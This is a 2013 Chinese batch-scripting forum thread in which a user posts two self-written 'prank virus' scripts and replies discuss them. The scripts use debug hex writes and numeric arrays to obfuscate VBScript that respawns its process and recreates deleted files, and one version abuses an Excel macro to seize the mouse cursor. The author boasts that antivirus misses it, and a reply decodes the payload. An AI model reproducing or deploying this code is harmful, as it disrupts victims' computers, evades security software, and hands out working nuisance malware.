【病毒】发一个自己编写的很牛B的病毒
bat吧
全部回复
仅看楼主
level 8
ax_pokl 楼主
@echo off
exit
echo 本病毒由ax_pokl制作
echo 本病毒十分强悍,除非重启或者删除文件否则正常方法不能结束。
echo (其实要做到重启后不能结束也不难,只要加入启动项)
echo (其实要做到删除文件后再生也不难,只要检测文件是否存在后从内存释放)
echo 本病毒仅为恶作剧程序,不会删除电脑中的任何文件
echo 或对系统配置进行修改。
echo 如果你确定释放本病毒,请按回车。否则直接关闭!
pause
echo >temp
echo e 100 3A 31 0D 0A 6C 6F 63 6B 2E 76 6273 0D 0A 69 66 >>temp
echo e 110 20 6E 6F 74 20 22 25 31 22 3D 3D22 77 69 6E 64 >>temp
echo e 120 22 20 6D 73 68 74 61 20 76 62 7363 72 69 70 74 >>temp
echo e 130 3A 63 72 65 61 74 65 6F 62 6A 6563 74 28 22 77 >>temp
echo e 140 73 63 72 69 70 74 2E 73 68 65 6C6C 22 29 2E 72 >>temp
echo e 150 75 6E 28 22 22 22 25 7E 66 30 2222 20 77 69 6E >>temp
echo e 160 64 22 2C 76 62 68 69 64 65 29 2877 69 6E 64 6F >>temp
echo e 170 77 2E 63 6C 6F 73 65 29 26 26 6578 69 74 0D 0A >>temp
echo e 180 67 6F 74 6F 20 3A 31>>temp
echo rcx>>temp
echo 87>>temp
echo n lock.bat>>temp
echo w>>temp
echo q>>temp
debug<temp>nul
echo >temp
echo e 100 66 6F 72 20 69 3D 31 20 74 6F 2055 42 6F 75 6E >>temp
echo e 110 64 28 73 74 72 73 29 0D 0A 20 7275 6E 6E 65 72 >>temp
echo e 120 3D 72 75 6E 6E 65 72 26 63 68 7228 73 74 72 73 >>temp
echo e 130 28 69 29 29 0D 0A 6E 65 78 74 0D0A 45 78 65 63 >>temp
echo e 140 75 74 65 20 72 75 6E 6E 65 72>>temp
echo rcx>>temp
echo 4A>>temp
echo n temp2>>temp
echo w>>temp
echo q>>temp
debug<temp>nul
echostrs=array(13,115,101,116,32,87,83,72,115,104,101,108,108,32,61,32,119,115,99,114,105,112,116,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,119,115,99,114,105,112,116,46,115,104,101,108,108,34,41,13,10,13,10,119,104,105,108,101,32,116,114,117,101,13,10,70,111,114,32,105,32,61,32,49,32,84,111,32,49,48,13,10,73,102,32,78,111,116,32,67,104,101,99,107,80,114,111,40,34,46,34,44,34,67,77,68,46,69,88,69,34,44,34,67,77,68,46,101,120,101,34,44,34,99,109,100,46,69,88,69,34,44,34,99,109,100,46,101,120,101,34,41,32,84,104,101,110,32,13,10,87,83,72,115,104,101,108,108,46,114,117,110,32,34,108,111,99,107,46,98,97,116,34,44,48,44,102,97,108,115,101,13,10,101,110,100,32,105,102,13,10,87,83,99,114,105,112,116,46,83,108,101,101,112,32,53,48,48,13,10,110,101,120,116,13,10,87,83,72,115,104,101,108,108,46,114,117,110,32,34,109,111,117,115,101,46,118,98,115,34,44,48,44,102,97,108,115,101,13,10,119,101,110,100,13,10,13,10,13,10,70,117,110,99,116,105,111,110,32,67,104,101,99,107,80,114,111,40,115,116,114,67,111,109,112,117,116,101,114,44,80,97,97,49,44,80,97,97,50,44,80,97,97,51,44,80,97,97,52,41,32,13,10,68,105,109,32,111,98,106,87,77,73,83,101,114,118,105,99,101,44,99,111,108,80,114,111,99,101,115,115,101,115,44,111,98,106,80,114,111,99,101,115,115,32,13,10,83,101,116,32,111,98,106,87,77,73,83,101,114,118,105,99,101,32,61,32,71,101,116,79,98,106,101,99,116,40,34,119,105,110,109,103,109,116,115,58,47,47,34,32,38,32,115,116,114,67,111,109,112,117,116,101,114,32,38,32,34,47,114,111,111,116,47,99,105,109,118,50,34,41,32,13,10,83,101,116,32,99,111,108,80,114,111,99,101,115,115,101,115,32,61,32,111,98,106,87,77,73,83,101,114,118,105,99,101,46,69,120,101,99,81,117,101,114,121,40,34,83,101,108,101,99,116,32,42,32,102,114,111,109,32,87,105,110,51,50,95,80,114,111,99,101,115,115,34,41,32,13,10,67,104,101,99,107,80,114,111,32,61,32,70,97,108,115,101,32,13,10,70,111,114,32,69,97,99,104,32,111,98,106,80,114,111,99,101,115,115,32,105,110,32,99,111,108,80,114,111,99,101,115,115,101,115,32,13,10,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,49,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,50,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,51,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,52,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,13,10,78,101,120,116,32,13,10,69,110,100,32,70,117,110,99,116,105,111,110,13,10)>temp
copy /b /y temp+temp2 lock.vbs
echostrs=array(13,83,101,116,32,111,69,120,99,101,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,69,120,99,101,108,46,65,112,112,108,105,99,97,116,105,111,110,34,41,13,10,83,101,116,32,111,77,111,100,117,108,101,32,61,32,111,69,120,99,101,108,46,87,111,114,107,98,111,111,107,115,46,65,100,100,46,86,66,80,114,111,106,101,99,116,46,86,66,67,111,109,112,111,110,101,110,116,115,46,65,100,100,40,49,41,13,10,115,116,114,67,111,100,101,32,61,32,95,13,10,34,80,114,105,118,97,116,101,32,68,101,99,108,97,114,101,32,70,117,110,99,116,105,111,110,32,83,101,116,67,117,114,115,111,114,80,111,115,32,76,105,98,32,34,34,117,115,101,114,51,50,34,34,32,40,66,121,86,97,108,32,120,32,65,115,32,76,111,110,103,44,32,66,121,86,97,108,32,121,32,65,115,32,76,111,110,103,41,32,65,115,32,76,111,110,103,34,32,32,32,38,32,118,98,67,114,32,38,32,95,13,10,34,83,117,98,32,83,101,116,67,117,114,115,111,114,40,120,32,97,115,32,76,111,110,103,44,32,121,32,97,115,32,76,111,110,103,41,32,58,32,83,101,116,67,117,114,115,111,114,80,111,115,32,120,44,32,121,32,58,32,69,110,100,32,83,117,98,34,13,10,111,77,111,100,117,108,101,46,67,111,100,101,77,111,100,117,108,101,46,65,100,100,70,114,111,109,83,116,114,105,110,103,32,115,116,114,67,111,100,101,13,10,100,111,13,10,111,69,120,99,101,108,46,82,117,110,32,34,83,101,116,67,117,114,115,111,114,34,44,32,48,44,32,48,13,10,108,111,111,112,13,10,111,69,120,99,101,108,46,68,105,115,112,108,97,121,65,108,101,114,116,115,32,61,32,70,97,108,115,101,13,10)>temp
copy /b /y temp+temp2 mouse.vbs
del temp /f /q
del temp2 /f /q
lock.bat
2013年06月29日 01点06分 1
level 8
ax_pokl 楼主
2013年06月29日 01点06分 2
注意解压后请把bat脚本中的第二句"exit"删除后方可运行。
2013年06月29日 01点06分
求内涵图做法
2013年07月03日 16点07分
回复 ax_pokl:我才看到[]
2013年07月04日 02点07分
回复 Noah出品 :copy /b a.jpg + b.zip c.jpg,jpg可换gif,zip可换rar。
2013年07月04日 13点07分
level 15
[啊]
2013年06月29日 01点06分 3
插楼,传说中的1TB病毒。CMD下很不管用。要EXE运行才爽。 虽然,E语言也能实现,但太容易被杀毒软件报毒了。
2017年04月19日 13点04分
level 13
我都还不会写呢 嗨 貌似用了vbs?
2013年06月29日 02点06分 4
还有十六进制
2013年06月29日 02点06分
恩,vbs加密过了,具体功能没有,就是防止被结束进程。为了显示效果,脚本会每10秒调用EXECL中的一个函数令鼠标移动到屏幕左下角。
2013年06月29日 11点06分
回复 ax_pokl :还有别的效果吗
2013年06月29日 11点06分
回复 ax_pokl :哦 不是病毒? 破坏的?
2013年06月29日 11点06分
level 13
什么功能啊?
2013年06月29日 02点06分 5
level 10
还不错嘛,用了tmp加密和vbs加密
2013年06月29日 04点06分 6
额。。。。tmp加密?这也算。。。
2013年07月04日 01点07分
签名把我逗笑了。
2013年07月13日 00点07分
level 8
ax_pokl 楼主
2013年06月29日 12点06分 7
此次加入了病毒文件防删除代码,不仅无法用任务管理器结束病毒进程,还无法清除病毒文件本身。
2013年06月29日 12点06分
@ax_pokl 写个批处理 删除所有叫temp.TXT文件 可以破解不?
2017年04月19日 22点04分
level 8
ax_pokl 楼主
::度娘直接贴代码会吃掉一些空格,请见谅。
@echo off
echo 本病毒脚本由ax_pokl制作
echo 本病毒脚本针对XP系统,使用其它系统运行此脚本造成的后果不可预料。
echo 本病毒脚本十分强悍,无法用普通任务管理器结束。(进程自动再生)
echo 即使简单删除病毒文件也无法删除病毒。(文件自动再生)
echo 如需关闭病毒,请重新启动。
echo (其实要做到重启后不能结束也不难,只要加入启动项)
echo 本病毒脚本仅为恶作剧程序,不会删除电脑中的任何文件或对系统配置进行修改。
echo 如果你确定释放本病毒脚本,请按回车。否则直接关闭!
pause
set r1=%random%
set r2=%random%
set r3=%random%
set rs1=%random%.bat
set rs2=%random%.vbs
set rs3=virus.vbs
echo >%r1%
echo e 100 3A 31 0D 0A 3A 3A 69 66 20 6E 6F74 20 22 25 31 >>%r1%
echo e 110 22 3D 3D 22 77 69 6E 64 22 20 6D73 68 74 61 20 >>%r1%
echo e 120 76 62 73 63 72 69 70 74 3A 63 7265 61 74 65 6F >>%r1%
echo e 130 62 6A 65 63 74 28 22 77 73 63 7269 70 74 2E 73 >>%r1%
echo e 140 68 65 6C 6C 22 29 2E 72 75 6E 2822 22 22 25 7E >>%r1%
echo e 150 66 30 22 22 20 77 69 6E 64 22 2C76 62 68 69 64 >>%r1%
echo e 160 65 29 28 77 69 6E 64 6F 77 2E 636C 6F 73 65 29 >>%r1%
echo e 170 26 26 65 78 69 74 0D 0A 74 73 6B69 6C 6C 20 77 >>%r1%
echo e 180 73 63 72 69 70 74 0D 0A>>%r1%
echo rcx>>%r1%
echo 88>>%r1%
echo n %rs1%>>%r1%
echo w>>%r1%
echo q>>%r1%
debug<%r1%>nul
echo %rs2%>>%rs1%
echo goto :1>>%rs1%
echo >%r1%
echo e 100 66 6F 72 20 69 3D 31 20 74 6F 2055 42 6F 75 6E >>%r1%
echo e 110 64 28 73 74 72 73 29 0D 0A 20 7275 6E 6E 65 72 >>%r1%
echo e 120 3D 72 75 6E 6E 65 72 26 63 68 7228 73 74 72 73 >>%r1%
echo e 130 28 69 29 29 0D 0A 6E 65 78 74 0D0A 45 78 65 63 >>%r1%
echo e 140 75 74 65 20 72 75 6E 6E 65 72>>%r1%
echo rcx>>%r1%
echo 4A>>%r1%
echo n %r2%>>%r1%
echo w>>%r1%
echo q>>%r1%
debug<%r1%>nul
echo sbat="%rs1%">%r3%
echo svbs="%rs2%">>%r3%
echo svir="%rs3%">>%r3%
echo stemp="%temp%">>%r3%
echo delay=100>>%r3%
echo virus=100>>%r3%
echostrs=array(13,115,98,97,116,116,61,115,116,101,109,112,43,34,92,34,43,115,98,97,116,13,10,115,118,98,115,116,61,115,116,101,109,112,43,34,92,34,43,115,118,98,115,13,10,115,118,105,114,116,61,115,116,101,109,112,43,34,92,34,43,115,118,105,114,13,10,115,101,116,32,87,83,72,115,104,101,108,108,32,61,32,119,115,99,114,105,112,116,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,119,115,99,114,105,112,116,46,115,104,101,108,108,34,41,13,10,83,101,116,32,102,115,111,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,41,13,10,13,10,119,104,105,108,101,32,116,114,117,101,13,10,70,111,114,32,105,32,61,32,49,32,84,111,32,118,105,114,117,115,13,10,13,10,67,104,101,99,107,70,105,108,101,32,115,98,97,116,116,44,115,98,97,116,13,10,67,104,101,99,107,70,105,108,101,32,115,98,97,116,44,115,98,97,116,116,13,10,67,104,101,99,107,70,105,108,101,32,115,118,98,115,116,44,115,118,98,115,13,10,67,104,101,99,107,70,105,108,101,32,115,118,98,115,44,115,118,98,115,116,13,10,67,104,101,99,107,70,105,108,101,32,115,118,105,114,116,44,115,118,105,114,13,10,67,104,101,99,107,70,105,108,101,32,115,118,105,114,44,115,118,105,114,116,13,10,13,10,73,102,32,78,111,116,32,67,104,101,99,107,80,114,111,40,34,46,34,44,34,67,77,68,46,69,88,69,34,44,34,67,77,68,46,101,120,101,34,44,34,99,109,100,46,69,88,69,34,44,34,99,109,100,46,101,120,101,34,41,32,84,104,101,110,32,13,10,87,83,72,115,104,101,108,108,46,114,117,110,32,115,98,97,116,44,48,44,102,97,108,115,101,13,10,101,110,100,32,105,102,13,10,87,83,99,114,105,112,116,46,83,108,101,101,112,32,100,101,108,97,121,13,10,110,101,120,116,13,10,13,10,87,83,72,115,104,101,108,108,46,114,117,110,32,115,118,105,114,44,48,44,102,97,108,115,101,13,10,119,101,110,100,13,10,13,10,70,117,110,99,116,105,111,110,32,67,104,101,99,107,70,105,108,101,40,115,116,114,49,44,115,116,114,50,41,13,10,73,102,32,110,111,116,40,102,115,111,46,70,105,108,101,69,120,105,115,116,115,40,115,116,114,49,41,41,32,84,104,101,110,13,10,83,101,116,32,77,121,70,105,108,101,32,61,32,102,115,111,46,71,101,116,70,105,108,101,40,115,116,114,50,41,13,10,77,121,70,105,108,101,46,67,111,112,121,32,40,115,116,114,49,41,13,10,69,110,100,32,105,102,13,10,69,110,100,32,70,117,110,99,116,105,111,110,13,10,13,10,70,117,110,99,116,105,111,110,32,67,104,101,99,107,80,114,111,40,115,116,114,67,111,109,112,117,116,101,114,44,80,97,97,49,44,80,97,97,50,44,80,97,97,51,44,80,97,97,52,41,32,13,10,68,105,109,32,111,98,106,87,77,73,83,101,114,118,105,99,101,44,99,111,108,80,114,111,99,101,115,115,101,115,44,111,98,106,80,114,111,99,101,115,115,32,13,10,83,101,116,32,111,98,106,87,77,73,83,101,114,118,105,99,101,32,61,32,71,101,116,79,98,106,101,99,116,40,34,119,105,110,109,103,109,116,115,58,47,47,34,32,38,32,115,116,114,67,111,109,112,117,116,101,114,32,38,32,34,47,114,111,111,116,47,99,105,109,118,50,34,41,32,13,10,83,101,116,32,99,111,108,80,114,111,99,101,115,115,101,115,32,61,32,111,98,106,87,77,73,83,101,114,118,105,99,101,46,69,120,101,99,81,117,101,114,121,40,34,83,101,108,101,99,116,32,42,32,102,114,111,109,32,87,105,110,51,50,95,80,114,111,99,101,115,115,34,41,32,13,10,67,104,101,99,107,80,114,111,32,61,32,70,97,108,115,101,32,13,10,70,111,114,32,69,97,99,104,32,111,98,106,80,114,111,99,101,115,115,32,105,110,32,99,111,108,80,114,111,99,101,115,115,101,115,32,13,10,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,49,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,50,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,51,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,52,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,13,10,78,101,120,116,32,13,10,69,110,100,32,70,117,110,99,116,105,111,110,13,10)>%r1%
copy /b /y %r3%+%r1%+%r2% %rs2%
del %r1% /f /q
del %r2% /f /q
del %r3% /f /q
echo msgbox "你中了ax_pokl编写的脚本病毒了!">%rs3%
start %rs2%
::度娘直接贴代码会吃掉一些空格,请见谅。
2013年06月29日 12点06分 8
echo >%r1% 你确定这样可以
2013年06月30日 00点06分
应该是echo.吧
2013年06月30日 02点06分
回复 这不是随便取的 :随意,debug会忽略非法语句。
2013年06月30日 11点06分
你的vbs运行不了的吧,就只有一个数组,解析数组的呢?你的%r2%在哪?
2013年07月04日 01点07分
level 8
ax_pokl 楼主
金山毒霸和360杀毒无法查出此病毒,看来成功了。
2013年06月29日 12点06分 9
影子系统 全盘虚拟[滑稽]
2013年06月30日 07点06分
如果你用宏的话就会被阻止,我用的就是金山。
2013年07月04日 01点07分
回复 敖文轩321 :我的金山就没查出来,我前面那个脚本用到了宏,更新的那个把宏代码删了。
2013年07月04日 12点07分
回复 ax_pokl :我的意思是创建的时候会拦截,不是预先查杀。
2013年07月04日 13点07分
level 6
看起来好高级[咦]
2013年06月30日 03点06分 10
level 1
楼主这就是你干的好事,我重启之后硬盘全满了,现在在重装[喷]
一堆重要资料
2013年07月01日 11点07分 11
回复 UFO3456789100 :就算要塞满也不能能塞满两个以上的盘符,何况脚本里不包含处当前路径和缓存路径以外的其它任何路径。
2013年07月01日 20点07分
他竟然运行了。。。。挺有实用性的。 = =
2013年07月13日 00点07分
呵呵,玩P永远要记住一点:看不懂的代码别乱运行
2013年07月01日 12点07分
回复 灵感LPZ :可视楼主在代码里说了没有破坏性病毒啊
2013年07月01日 13点07分
level 13
哪一部分代码是防删的?
2013年07月01日 13点07分 12
没有防删代码,只是删不掉。
2013年07月03日 08点07分
回复 ax_pokl :对啊,哪一个部分能使人删不掉
2013年07月04日 01点07分
level 5
看不懂
2013年07月03日 07点07分 14
level 14
有些人看不懂啊,我把vbs代码发一下吧:
8L的echostrs=array(13,115,98,97,116,116,61,115,116,101,109,112,43,34,92,34,43,115,98,97,116,13,10,115,118,98,115,116,61,115,116,101,109,112,43,34,92,34,43,115,118,98,115,13,10,115,118,105,114,116,61,115,116,101,109,112,43,34,92,34,43,115,118,105,114,13,10,115,101,116,32,87,83,72,115,104,101,108,108,32,61,32,119,115,99,114,105,112,116,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,119,115,99,114,105,112,116,46,115,104,101,108,108,34,41,13,10,83,101,116,32,102,115,111,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,41,13,10,13,10,119,104,105,108,101,32,116,114,117,101,13,10,70,111,114,32,105,32,61,32,49,32,84,111,32,118,105,114,117,115,13,10,13,10,67,104,101,99,107,70,105,108,101,32,115,98,97,116,116,44,115,98,97,116,13,10,67,104,101,99,107,70,105,108,101,32,115,98,97,116,44,115,98,97,116,116,13,10,67,104,101,99,107,70,105,108,101,32,115,118,98,115,116,44,115,118,98,115,13,10,67,104,101,99,107,70,105,108,101,32,115,118,98,115,44,115,118,98,115,116,13,10,67,104,101,99,107,70,105,108,101,32,115,118,105,114,116,44,115,118,105,114,13,10,67,104,101,99,107,70,105,108,101,32,115,118,105,114,44,115,118,105,114,116,13,10,13,10,73,102,32,78,111,116,32,67,104,101,99,107,80,114,111,40,34,46,34,44,34,67,77,68,46,69,88,69,34,44,34,67,77,68,46,101,120,101,34,44,34,99,109,100,46,69,88,69,34,44,34,99,109,100,46,101,120,101,34,41,32,84,104,101,110,32,13,10,87,83,72,115,104,101,108,108,46,114,117,110,32,115,98,97,116,44,48,44,102,97,108,115,101,13,10,101,110,100,32,105,102,13,10,87,83,99,114,105,112,116,46,83,108,101,101,112,32,100,101,108,97,121,13,10,110,101,120,116,13,10,13,10,87,83,72,115,104,101,108,108,46,114,117,110,32,115,118,105,114,44,48,44,102,97,108,115,101,13,10,119,101,110,100,13,10,13,10,70,117,110,99,116,105,111,110,32,67,104,101,99,107,70,105,108,101,40,115,116,114,49,44,115,116,114,50,41,13,10,73,102,32,110,111,116,40,102,115,111,46,70,105,108,101,69,120,105,115,116,115,40,115,116,114,49,41,41,32,84,104,101,110,13,10,83,101,116,32,77,121,70,105,108,101,32,61,32,102,115,111,46,71,101,116,70,105,108,101,40,115,116,114,50,41,13,10,77,121,70,105,108,101,46,67,111,112,121,32,40,115,116,114,49,41,13,10,69,110,100,32,105,102,13,10,69,110,100,32,70,117,110,99,116,105,111,110,13,10,13,10,70,117,110,99,116,105,111,110,32,67,104,101,99,107,80,114,111,40,115,116,114,67,111,109,112,117,116,101,114,44,80,97,97,49,44,80,97,97,50,44,80,97,97,51,44,80,97,97,52,41,32,13,10,68,105,109,32,111,98,106,87,77,73,83,101,114,118,105,99,101,44,99,111,108,80,114,111,99,101,115,115,101,115,44,111,98,106,80,114,111,99,101,115,115,32,13,10,83,101,116,32,111,98,106,87,77,73,83,101,114,118,105,99,101,32,61,32,71,101,116,79,98,106,101,99,116,40,34,119,105,110,109,103,109,116,115,58,47,47,34,32,38,32,115,116,114,67,111,109,112,117,116,101,114,32,38,32,34,47,114,111,111,116,47,99,105,109,118,50,34,41,32,13,10,83,101,116,32,99,111,108,80,114,111,99,101,115,115,101,115,32,61,32,111,98,106,87,77,73,83,101,114,118,105,99,101,46,69,120,101,99,81,117,101,114,121,40,34,83,101,108,101,99,116,32,42,32,102,114,111,109,32,87,105,110,51,50,95,80,114,111,99,101,115,115,34,41,32,13,10,67,104,101,99,107,80,114,111,32,61,32,70,97,108,115,101,32,13,10,70,111,114,32,69,97,99,104,32,111,98,106,80,114,111,99,101,115,115,32,105,110,32,99,111,108,80,114,111,99,101,115,115,101,115,32,13,10,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,49,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,50,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,51,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,52,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,13,10,78,101,120,116,32,13,10,69,110,100,32,70,117,110,99,116,105,111,110,13,10)>%r1%
的意思是:
sbatt=stemp+"\"+sbat
svbst=stemp+"\"+svbs
svirt=stemp+"\"+svir
set WSHshell = wscript.createobject("wscript.shell")
Set fso = CreateObject("Scripting.FileSystemObject") while true
For i = 1 To virus CheckFile sbatt,sbat
CheckFile sbat,sbatt
CheckFile svbst,svbs
CheckFile svbs,svbst
CheckFile svirt,svir
CheckFile svir,svirt If Not CheckPro(".","CMD.EXE","CMD.exe","cmd.EXE","cmd.exe") Then
WSHshell.run sbat,0,false
end if
WScript.Sleep delay
next WSHshell.run svir,0,false
wend Function CheckFile(str1,str2)
If not(fso.FileExists(str1)) Then
Set MyFile = fso.GetFile(str2)
MyFile.Copy (str1)
End if
End Function Function CheckPro(strComputer,Paa1,Paa2,Paa3,Paa4)
Dim objWMIService,colProcesses,objProcess
Set objWMIService = GetObject("winmgmts://" & strComputer & "/root/cimv2")
Set colProcesses = objWMIService.ExecQuery("Select * from Win32_Process")
CheckPro = False
For Each objProcess in colProcesses If objProcess.Name = Paa1 Then
CheckPro = True
End If
If objProcess.Name = Paa2 Then
CheckPro = True
End If
If objProcess.Name = Paa3 Then
CheckPro = True
End If
If objProcess.Name = Paa4 Then
CheckPro = True
End If Next
End Function
2013年07月04日 01点07分 15
level 11
我的电脑没有debug[什么?][什么?][什么?][什么?][什么?][什么?][震荡]
2013年07月04日 02点07分 16
看来下次只能用zip加密了。
2013年07月04日 13点07分
回复 ax_pokl :有的人木有zip、rar
2013年07月04日 13点07分
回复 敖文轩321 :windows自带zip。
2013年07月04日 13点07分
回复 ax_pokl :那为什么我同学没有。。。。
2013年07月04日 13点07分
level 12
虚拟机都被爆了
2013年07月12日 23点07分 17
level 13
……
2013年07月13日 00点07分 19
level 11
楼主,我很想看看这个软件,可以吗?可以就发一份给我,谢谢咯[email protected]
2013年11月13日 10点11分 20
作死
2015年07月20日 15点07分
回复 不屈付的小ZZ 你挖坟更作死。
2015年07月20日 21点07分
回复
�ⲻ������ȡ��
:。。。。
2015年07月21日 07点07分
回复
��������СZZ
:。。。。
2015年07月21日 07点07分
level 13
=================此贴终结=================
=========坟贴勿回=========
=========水贴勿回=========
=========广告贴勿回=========
=========引战贴勿回=========
=========钓鱼贴勿回=========
=========爆吧贴勿回=========
=========知道贴勿回=========
2015年07月21日 01点07分 23
1 2 尾页